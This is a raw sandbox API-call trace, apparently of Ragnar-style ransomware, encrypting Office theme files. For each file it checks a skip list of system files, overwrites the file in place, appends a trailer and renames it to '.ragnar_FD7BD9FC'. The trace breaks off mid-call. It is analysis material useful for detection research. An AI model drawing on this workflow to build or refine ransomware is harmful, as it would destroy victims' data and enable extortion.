GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.238] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Technic.thmx" | out: lpString1="Technic.thmx") returned="Technic.thmx" [0095.239] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx") returned=".thmx" [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="autorun.inf") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="boot.ini") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootfont.bin") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootsect.bak") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootmgr") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootmgr.efi") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootmgfw.efi") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="desktop.ini") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="iconcache.db") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="ntldr") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="ntuser.dat") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="ntuser.dat.log") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="ntuser.ini") returned 1 [0095.239] lstrcmpiW (lpString1="Technic.thmx", lpString2="thumbs.db") returned -1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.239] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx")) returned 0x20 [0095.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.240] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=68995) returned 1 [0095.240] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x10d7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.240] GetProcessHeap () returned 0x580000 [0095.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.240] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.241] VirtualAlloc (lpAddress=0x0, dwSize=0x10d83, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.241] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.241] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.242] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10d83, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x10d83, lpOverlapped=0x0) returned 1 [0095.243] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.244] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10d83, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.244] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10d83, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x10d83, lpOverlapped=0x0) returned 1 [0095.244] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10d83, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.244] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.245] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x10d83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.245] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.245] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.245] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.245] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.245] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.245] GetProcessHeap () returned 0x580000 [0095.245] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.245] CloseHandle (hObject=0x98) returned 1 [0095.245] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" [0095.245] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.ragnar_FD7BD9FC" [0095.245] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.246] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0095.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.246] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Thatch.thmx" | out: lpString1="Thatch.thmx") returned="Thatch.thmx" [0095.246] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx") returned=".thmx" [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="autorun.inf") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="boot.ini") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootfont.bin") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootsect.bak") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootmgr") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootmgr.efi") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootmgfw.efi") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="desktop.ini") returned 1 [0095.246] lstrcmpiW (lpString1="Thatch.thmx", lpString2="iconcache.db") returned 1 [0095.247] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ntldr") returned 1 [0095.247] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ntuser.dat") returned 1 [0095.247] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ntuser.dat.log") returned 1 [0095.247] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ntuser.ini") returned 1 [0095.247] lstrcmpiW (lpString1="Thatch.thmx", lpString2="thumbs.db") returned -1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.247] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx")) returned 0x20 [0095.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.247] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=89461) returned 1 [0095.247] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15d6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.247] GetProcessHeap () returned 0x580000 [0095.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.248] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.249] VirtualAlloc (lpAddress=0x0, dwSize=0x15d75, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.249] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.249] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.249] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15d75, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x15d75, lpOverlapped=0x0) returned 1 [0095.251] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.252] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15d75, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.252] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15d75, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x15d75, lpOverlapped=0x0) returned 1 [0095.252] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15d75, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.252] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.253] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15d75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.253] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.253] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.253] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.253] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.253] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.253] GetProcessHeap () returned 0x580000 [0095.253] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.253] CloseHandle (hObject=0x98) returned 1 [0095.253] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" [0095.253] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.ragnar_FD7BD9FC" [0095.253] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.254] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a228760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0095.254] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a69f0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0095.254] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a9006a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a9006a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0095.254] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0095.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.254] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Trek.thmx" | out: lpString1="Trek.thmx") returned="Trek.thmx" [0095.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx") returned=".thmx" [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="autorun.inf") returned 1 [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="boot.ini") returned 1 [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootfont.bin") returned 1 [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootsect.bak") returned 1 [0095.254] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootmgr") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootmgr.efi") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="bootmgfw.efi") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="desktop.ini") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="iconcache.db") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="ntldr") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="ntuser.dat") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="ntuser.dat.log") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="ntuser.ini") returned 1 [0095.255] lstrcmpiW (lpString1="Trek.thmx", lpString2="thumbs.db") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.255] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx")) returned 0x20 [0095.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.256] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=172604) returned 1 [0095.256] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x2a233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.256] GetProcessHeap () returned 0x580000 [0095.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.256] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2a23c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.257] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.257] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.257] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a23c, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x2a23c, lpOverlapped=0x0) returned 1 [0095.261] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.262] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a23c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.262] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a23c, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x2a23c, lpOverlapped=0x0) returned 1 [0095.262] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a23c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.263] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.263] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x2a23c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.263] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.264] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.267] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.267] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.267] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.267] GetProcessHeap () returned 0x580000 [0095.267] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.267] CloseHandle (hObject=0x98) returned 1 [0095.267] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" [0095.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.ragnar_FD7BD9FC" [0095.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.268] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0095.268] GetFullPathNameW (in: 